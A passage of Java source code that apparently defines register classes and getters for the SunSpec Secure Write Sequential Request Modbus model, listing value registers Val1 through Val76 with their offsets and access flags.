= new Val36(tcpModbusHandler); SecureWriteSequentialRequest40Val37 = new Val37(tcpModbusHandler); SecureWriteSequentialRequest41Val38 = new Val38(tcpModbusHandler); SecureWriteSequentialRequest42Val39 = new Val39(tcpModbusHandler); SecureWriteSequentialRequest43Val40 = new Val40(tcpModbusHandler); SecureWriteSequentialRequest44Val41 = new Val41(tcpModbusHandler); SecureWriteSequentialRequest45Val42 = new Val42(tcpModbusHandler); SecureWriteSequentialRequest46Val43 = new Val43(tcpModbusHandler); SecureWriteSequentialRequest47Val44 = new Val44(tcpModbusHandler); SecureWriteSequentialRequest48Val45 = new Val45(tcpModbusHandler); SecureWriteSequentialRequest49Val46 = new Val46(tcpModbusHandler); SecureWriteSequentialRequest50Val47 = new Val47(tcpModbusHandler); SecureWriteSequentialRequest51Val48 = new Val48(tcpModbusHandler); SecureWriteSequentialRequest52Val49 = new Val49(tcpModbusHandler); SecureWriteSequentialRequest53Val50 = new Val50(tcpModbusHandler); SecureWriteSequentialRequest54Val51 = new Val51(tcpModbusHandler); SecureWriteSequentialRequest55Val52 = new Val52(tcpModbusHandler); SecureWriteSequentialRequest56Val53 = new Val53(tcpModbusHandler); SecureWriteSequentialRequest57Val54 = new Val54(tcpModbusHandler); SecureWriteSequentialRequest58Val55 = new Val55(tcpModbusHandler); SecureWriteSequentialRequest59Val56 = new Val56(tcpModbusHandler); SecureWriteSequentialRequest60Val57 = new Val57(tcpModbusHandler); SecureWriteSequentialRequest61Val58 = new Val58(tcpModbusHandler); SecureWriteSequentialRequest62Val59 = new Val59(tcpModbusHandler); SecureWriteSequentialRequest63Val60 = new Val60(tcpModbusHandler); SecureWriteSequentialRequest64Val61 = new Val61(tcpModbusHandler); SecureWriteSequentialRequest65Val62 = new Val62(tcpModbusHandler); SecureWriteSequentialRequest66Val63 = new Val63(tcpModbusHandler); SecureWriteSequentialRequest67Val64 = new Val64(tcpModbusHandler); SecureWriteSequentialRequest68Val65 = new Val65(tcpModbusHandler); SecureWriteSequentialRequest69Val66 = new Val66(tcpModbusHandler); SecureWriteSequentialRequest70Val67 = new Val67(tcpModbusHandler); SecureWriteSequentialRequest71Val68 = new Val68(tcpModbusHandler); SecureWriteSequentialRequest72Val69 = new Val69(tcpModbusHandler); SecureWriteSequentialRequest73Val70 = new Val70(tcpModbusHandler); SecureWriteSequentialRequest74Val71 = new Val71(tcpModbusHandler); SecureWriteSequentialRequest75Val72 = new Val72(tcpModbusHandler); SecureWriteSequentialRequest76Val73 = new Val73(tcpModbusHandler); SecureWriteSequentialRequest77Val74 = new Val74(tcpModbusHandler); SecureWriteSequentialRequest78Val75 = new Val75(tcpModbusHandler); SecureWriteSequentialRequest79Val76 = new Val76(tcpModbusHandler); SecureWriteSequentialRequest80Val77 = new Val77(tcpModbusHandler); SecureWriteSequentialRequest81Val78 = new Val78(tcpModbusHandler); SecureWriteSequentialRequest82Val79 = new Val79(tcpModbusHandler); SecureWriteSequentialRequest83Val80 = new Val80(tcpModbusHandler); SecureWriteSequentialRequest84Ts = new Ts(tcpModbusHandler); SecureWriteSequentialRequest86Ms = new Ms(tcpModbusHandler); SecureWriteSequentialRequest87Seq = new Seq(tcpModbusHandler); SecureWriteSequentialRequest88Role = new Role(tcpModbusHandler); SecureWriteSequentialRequest89Rsrvd = new Rsrvd(tcpModbusHandler); SecureWriteSequentialRequest90Alg = new Alg(tcpModbusHandler); SecureWriteSequentialRequest91N = new N(tcpModbusHandler); SecureWriteSequentialRequest92DS= new DS(tcpModbusHandler); vector.add(SecureWriteSequentialRequest0ID); vector.add(SecureWriteSequentialRequest1L); vector.add(SecureWriteSequentialRequest2X); vector.add(SecureWriteSequentialRequest3Off); vector.add(SecureWriteSequentialRequest4Val1); vector.add(SecureWriteSequentialRequest5Val2); vector.add(SecureWriteSequentialRequest6Val3); vector.add(SecureWriteSequentialRequest7Val4); vector.add(SecureWriteSequentialRequest8Val5); vector.add(SecureWriteSequentialRequest9Val6); vector.add(SecureWriteSequentialRequest10Val7); vector.add(SecureWriteSequentialRequest11Val8); vector.add(SecureWriteSequentialRequest12Val9); vector.add(SecureWriteSequentialRequest13Val10); vector.add(SecureWriteSequentialRequest14Val11); vector.add(SecureWriteSequentialRequest15Val12); vector.add(SecureWriteSequentialRequest16Val13); vector.add(SecureWriteSequentialRequest17Val14); vector.add(SecureWriteSequentialRequest18Val15); vector.add(SecureWriteSequentialRequest19Val16); vector.add(SecureWriteSequentialRequest20Val17); vector.add(SecureWriteSequentialRequest21Val18); vector.add(SecureWriteSequentialRequest22Val19); vector.add(SecureWriteSequentialRequest23Val20); vector.add(SecureWriteSequentialRequest24Val21); vector.add(SecureWriteSequentialRequest25Val22); vector.add(SecureWriteSequentialRequest26Val23); vector.add(SecureWriteSequentialRequest27Val24); vector.add(SecureWriteSequentialRequest28Val25); vector.add(SecureWriteSequentialRequest29Val26); vector.add(SecureWriteSequentialRequest30Val27); vector.add(SecureWriteSequentialRequest31Val28); vector.add(SecureWriteSequentialRequest32Val29); vector.add(SecureWriteSequentialRequest33Val30); vector.add(SecureWriteSequentialRequest34Val31); vector.add(SecureWriteSequentialRequest35Val32); vector.add(SecureWriteSequentialRequest36Val33); vector.add(SecureWriteSequentialRequest37Val34); vector.add(SecureWriteSequentialRequest38Val35); vector.add(SecureWriteSequentialRequest39Val36); vector.add(SecureWriteSequentialRequest40Val37); vector.add(SecureWriteSequentialRequest41Val38); vector.add(SecureWriteSequentialRequest42Val39); vector.add(SecureWriteSequentialRequest43Val40); vector.add(SecureWriteSequentialRequest44Val41); vector.add(SecureWriteSequentialRequest45Val42); vector.add(SecureWriteSequentialRequest46Val43); vector.add(SecureWriteSequentialRequest47Val44); vector.add(SecureWriteSequentialRequest48Val45); vector.add(SecureWriteSequentialRequest49Val46); vector.add(SecureWriteSequentialRequest50Val47); vector.add(SecureWriteSequentialRequest51Val48); vector.add(SecureWriteSequentialRequest52Val49); vector.add(SecureWriteSequentialRequest53Val50); vector.add(SecureWriteSequentialRequest54Val51); vector.add(SecureWriteSequentialRequest55Val52); vector.add(SecureWriteSequentialRequest56Val53); vector.add(SecureWriteSequentialRequest57Val54); vector.add(SecureWriteSequentialRequest58Val55); vector.add(SecureWriteSequentialRequest59Val56); vector.add(SecureWriteSequentialRequest60Val57); vector.add(SecureWriteSequentialRequest61Val58); vector.add(SecureWriteSequentialRequest62Val59); vector.add(SecureWriteSequentialRequest63Val60); vector.add(SecureWriteSequentialRequest64Val61); vector.add(SecureWriteSequentialRequest65Val62); vector.add(SecureWriteSequentialRequest66Val63); vector.add(SecureWriteSequentialRequest67Val64); vector.add(SecureWriteSequentialRequest68Val65); vector.add(SecureWriteSequentialRequest69Val66); vector.add(SecureWriteSequentialRequest70Val67); vector.add(SecureWriteSequentialRequest71Val68); vector.add(SecureWriteSequentialRequest72Val69); vector.add(SecureWriteSequentialRequest73Val70); vector.add(SecureWriteSequentialRequest74Val71); vector.add(SecureWriteSequentialRequest75Val72); vector.add(SecureWriteSequentialRequest76Val73); vector.add(SecureWriteSequentialRequest77Val74); vector.add(SecureWriteSequentialRequest78Val75); vector.add(SecureWriteSequentialRequest79Val76); vector.add(SecureWriteSequentialRequest80Val77); vector.add(SecureWriteSequentialRequest81Val78); vector.add(SecureWriteSequentialRequest82Val79); vector.add(SecureWriteSequentialRequest83Val80); vector.add(SecureWriteSequentialRequest84Ts); vector.add(SecureWriteSequentialRequest86Ms); vector.add(SecureWriteSequentialRequest87Seq); vector.add(SecureWriteSequentialRequest88Role); vector.add(SecureWriteSequentialRequest89Rsrvd); vector.add(SecureWriteSequentialRequest90Alg); vector.add(SecureWriteSequentialRequest91N); vector.add(SecureWriteSequentialRequest92DS); } public RetepEnum getID() { return SecureWriteSequentialRequest0ID; } public RetepLong getL() { return SecureWriteSequentialRequest1L; } public RetepLong getX() { return SecureWriteSequentialRequest2X; } public RetepLong getOff() { return SecureWriteSequentialRequest3Off; } public RetepLong getVal1() { return SecureWriteSequentialRequest4Val1; } public RetepLong getVal2() { return SecureWriteSequentialRequest5Val2; } public RetepLong getVal3() { return SecureWriteSequentialRequest6Val3; } public RetepLong getVal4() { return SecureWriteSequentialRequest7Val4; } public RetepLong getVal5() { return SecureWriteSequentialRequest8Val5; } public RetepLong getVal6() { return SecureWriteSequentialRequest9Val6; } public RetepLong getVal7() { return SecureWriteSequentialRequest10Val7; } public RetepLong getVal8() { return SecureWriteSequentialRequest11Val8; } public RetepLong getVal9() { return SecureWriteSequentialRequest12Val9; } public RetepLong getVal10() { return SecureWriteSequentialRequest13Val10; } public RetepLong getVal11() { return SecureWriteSequentialRequest14Val11; } public RetepLong getVal12() { return SecureWriteSequentialRequest15Val12; } public RetepLong getVal13() { return SecureWriteSequentialRequest16Val13; } public RetepLong getVal14() { return SecureWriteSequentialRequest17Val14; } public RetepLong getVal15() { return SecureWriteSequentialRequest18Val15; } public RetepLong getVal16() { return SecureWriteSequentialRequest19Val16; } public RetepLong getVal17() { return SecureWriteSequentialRequest20Val17; } public RetepLong getVal18() { return SecureWriteSequentialRequest21Val18; } public RetepLong getVal19() { return SecureWriteSequentialRequest22Val19; } public RetepLong getVal20() { return SecureWriteSequentialRequest23Val20; } public RetepLong getVal21() { return SecureWriteSequentialRequest24Val21; } public RetepLong getVal22() { return SecureWriteSequentialRequest25Val22; } public RetepLong getVal23() { return SecureWriteSequentialRequest26Val23; } public RetepLong getVal24() { return SecureWriteSequentialRequest27Val24; } public RetepLong getVal25() { return SecureWriteSequentialRequest28Val25; } public RetepLong getVal26() { return SecureWriteSequentialRequest29Val26; } public RetepLong getVal27() { return SecureWriteSequentialRequest30Val27; } public RetepLong getVal28() { return SecureWriteSequentialRequest31Val28; } public RetepLong getVal29() { return SecureWriteSequentialRequest32Val29; } public RetepLong getVal30() { return SecureWriteSequentialRequest33Val30; } public RetepLong getVal31() { return SecureWriteSequentialRequest34Val31; } public RetepLong getVal32() { return SecureWriteSequentialRequest35Val32; } public RetepLong getVal33() { return SecureWriteSequentialRequest36Val33; } public RetepLong getVal34() { return SecureWriteSequentialRequest37Val34; } public RetepLong getVal35() { return SecureWriteSequentialRequest38Val35; } public RetepLong getVal36() { return SecureWriteSequentialRequest39Val36; } public RetepLong getVal37() { return SecureWriteSequentialRequest40Val37; } public RetepLong getVal38() { return SecureWriteSequentialRequest41Val38; } public RetepLong getVal39() { return SecureWriteSequentialRequest42Val39; } public RetepLong getVal40() { return SecureWriteSequentialRequest43Val40; } public RetepLong getVal41() { return SecureWriteSequentialRequest44Val41; } public RetepLong getVal42() { return SecureWriteSequentialRequest45Val42; } public RetepLong getVal43() { return SecureWriteSequentialRequest46Val43; } public RetepLong getVal44() { return SecureWriteSequentialRequest47Val44; } public RetepLong getVal45() { return SecureWriteSequentialRequest48Val45; } public RetepLong getVal46() { return SecureWriteSequentialRequest49Val46; } public RetepLong getVal47() { return SecureWriteSequentialRequest50Val47; } public RetepLong getVal48() { return SecureWriteSequentialRequest51Val48; } public RetepLong getVal49() { return SecureWriteSequentialRequest52Val49; } public RetepLong getVal50() { return SecureWriteSequentialRequest53Val50; } public RetepLong getVal51() { return SecureWriteSequentialRequest54Val51; } public RetepLong getVal52() { return SecureWriteSequentialRequest55Val52; } public RetepLong getVal53() { return SecureWriteSequentialRequest56Val53; } public RetepLong getVal54() { return SecureWriteSequentialRequest57Val54; } public RetepLong getVal55() { return SecureWriteSequentialRequest58Val55; } public RetepLong getVal56() { return SecureWriteSequentialRequest59Val56; } public RetepLong getVal57() { return SecureWriteSequentialRequest60Val57; } public RetepLong getVal58() { return SecureWriteSequentialRequest61Val58; } public RetepLong getVal59() { return SecureWriteSequentialRequest62Val59; } public RetepLong getVal60() { return SecureWriteSequentialRequest63Val60; } public RetepLong getVal61() { return SecureWriteSequentialRequest64Val61; } public RetepLong getVal62() { return SecureWriteSequentialRequest65Val62; } public RetepLong getVal63() { return SecureWriteSequentialRequest66Val63; } public RetepLong getVal64() { return SecureWriteSequentialRequest67Val64; } public RetepLong getVal65() { return SecureWriteSequentialRequest68Val65; } public RetepLong getVal66() { return SecureWriteSequentialRequest69Val66; } public RetepLong getVal67() { return SecureWriteSequentialRequest70Val67; } public RetepLong getVal68() { return SecureWriteSequentialRequest71Val68; } public RetepLong getVal69() { return SecureWriteSequentialRequest72Val69; } public RetepLong getVal70() { return SecureWriteSequentialRequest73Val70; } public RetepLong getVal71() { return SecureWriteSequentialRequest74Val71; } public RetepLong getVal72() { return SecureWriteSequentialRequest75Val72; } public RetepLong getVal73() { return SecureWriteSequentialRequest76Val73; } public RetepLong getVal74() { return SecureWriteSequentialRequest77Val74; } public RetepLong getVal75() { return SecureWriteSequentialRequest78Val75; } public RetepLong getVal76() { return SecureWriteSequentialRequest79Val76; } public RetepLong getVal77() { return SecureWriteSequentialRequest80Val77; } public RetepLong getVal78() { return SecureWriteSequentialRequest81Val78; } public RetepLong getVal79() { return SecureWriteSequentialRequest82Val79; } public RetepLong getVal80() { return SecureWriteSequentialRequest83Val80; } public RetepLong getTs() { return SecureWriteSequentialRequest84Ts; } public RetepLong getMs() { return SecureWriteSequentialRequest86Ms; } public RetepLong getSeq() { return SecureWriteSequentialRequest87Seq; } public RetepLong getRole() { return SecureWriteSequentialRequest88Role; } public RetepLong getRsrvd() { return SecureWriteSequentialRequest89Rsrvd; } public RetepEnum getAlg() { return SecureWriteSequentialRequest90Alg; } public RetepLong getN() { return SecureWriteSequentialRequest91N; } public RetepLong getDS() { return SecureWriteSequentialRequest92DS; } public static class ID extends RegisterEnum16 { public ID (TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 0, 1, "Model", "", "Include a digial signature along with the control data", Rw.R, Mandatory.M); hashtable.put((long) 6, "SunSpec Secure Write Sequential Request"); } } public static class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } public static class X extends RegisterUint16 { public X(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 2, 1, "X", "", "Number of (offset, value) pairs being written", Rw.RW, Mandatory.M); } } public static class Off extends RegisterUint16 { public Off(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 3, 1, "Offset", "", "Starting offset for write operation", Rw.RW, Mandatory.M); } } public static class Val1 extends RegisterUint16 { public Val1(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 4, 1, "Value1", "", "Value to write to control register at offset", Rw.RW, Mandatory.M); } } public static class Val2 extends RegisterUint16 { public Val2(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 5, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val3 extends RegisterUint16 { public Val3(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 6, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val4 extends RegisterUint16 { public Val4(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 7, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val5 extends RegisterUint16 { public Val5(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 8, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val6 extends RegisterUint16 { public Val6(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 9, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val7 extends RegisterUint16 { public Val7(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 10, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val8 extends RegisterUint16 { public Val8(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 11, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val9 extends RegisterUint16 { public Val9(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 12, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val10 extends RegisterUint16 { public Val10(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 13, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val11 extends RegisterUint16 { public Val11(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 14, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val12 extends RegisterUint16 { public Val12(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 15, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val13 extends RegisterUint16 { public Val13(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 16, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val14 extends RegisterUint16 { public Val14(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 17, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val15 extends RegisterUint16 { public Val15(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 18, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val16 extends RegisterUint16 { public Val16(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 19, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val17 extends RegisterUint16 { public Val17(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 20, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val18 extends RegisterUint16 { public Val18(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 21, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val19 extends RegisterUint16 { public Val19(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 22, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val20 extends RegisterUint16 { public Val20(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 23, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val21 extends RegisterUint16 { public Val21(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 24, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val22 extends RegisterUint16 { public Val22(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 25, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val23 extends RegisterUint16 { public Val23(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 26, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val24 extends RegisterUint16 { public Val24(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 27, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val25 extends RegisterUint16 { public Val25(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 28, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val26 extends RegisterUint16 { public Val26(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 29, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val27 extends RegisterUint16 { public Val27(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 30, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val28 extends RegisterUint16 { public Val28(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 31, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val29 extends RegisterUint16 { public Val29(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 32, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val30 extends RegisterUint16 { public Val30(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 33, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val31 extends RegisterUint16 { public Val31(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 34, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val32 extends RegisterUint16 { public Val32(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 35, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val33 extends RegisterUint16 { public Val33(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 36, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val34 extends RegisterUint16 { public Val34(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 37, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val35 extends RegisterUint16 { public Val35(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 38, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val36 extends RegisterUint16 { public Val36(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 39, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val37 extends RegisterUint16 { public Val37(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 40, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val38 extends RegisterUint16 { public Val38(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 41, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val39 extends RegisterUint16 { public Val39(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 42, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val40 extends RegisterUint16 { public Val40(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 43, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val41 extends RegisterUint16 { public Val41(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 44, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val42 extends RegisterUint16 { public Val42(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 45, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val43 extends RegisterUint16 { public Val43(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 46, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val44 extends RegisterUint16 { public Val44(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 47, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val45 extends RegisterUint16 { public Val45(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 48, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val46 extends RegisterUint16 { public Val46(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 49, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val47 extends RegisterUint16 { public Val47(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 50, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val48 extends RegisterUint16 { public Val48(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 51, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val49 extends RegisterUint16 { public Val49(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 52, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val50 extends RegisterUint16 { public Val50(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 53, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val51 extends RegisterUint16 { public Val51(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 54, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val52 extends RegisterUint16 { public Val52(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 55, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val53 extends RegisterUint16 { public Val53(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 56, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val54 extends RegisterUint16 { public Val54(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 57, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val55 extends RegisterUint16 { public Val55(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 58, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val56 extends RegisterUint16 { public Val56(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 59, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val57 extends RegisterUint16 { public Val57(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 60, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val58 extends RegisterUint16 { public Val58(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 61, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val59 extends RegisterUint16 { public Val59(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 62, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val60 extends RegisterUint16 { public Val60(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 63, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val61 extends RegisterUint16 { public Val61(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 64, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val62 extends RegisterUint16 { public Val62(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 65, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val63 extends RegisterUint16 { public Val63(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 66, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val64 extends RegisterUint16 { public Val64(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 67, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val65 extends RegisterUint16 { public Val65(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 68, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val66 extends RegisterUint16 { public Val66(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 69, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val67 extends RegisterUint16 { public Val67(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 70, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val68 extends RegisterUint16 { public Val68(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 71, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val69 extends RegisterUint16 { public Val69(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 72, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val70 extends RegisterUint16 { public Val70(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 73, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val71 extends RegisterUint16 { public Val71(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 74, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val72 extends RegisterUint16 { public Val72(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 75, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val73 extends RegisterUint16 { public Val73(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 76, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val74 extends RegisterUint16 { public Val74(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 77, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val75 extends RegisterUint16 { public Val75(TcpModbusHandler tcpModbusHandler){ init(tcpModbusHandler.getSecureWriteSequentialRequest_6(), 78, 1, "", "", "", Rw.RW, Mandatory.M); } } public static class Val76 extends RegisterUint16 { public Val76(TcpModbusHandler tcpModbusHandler){ 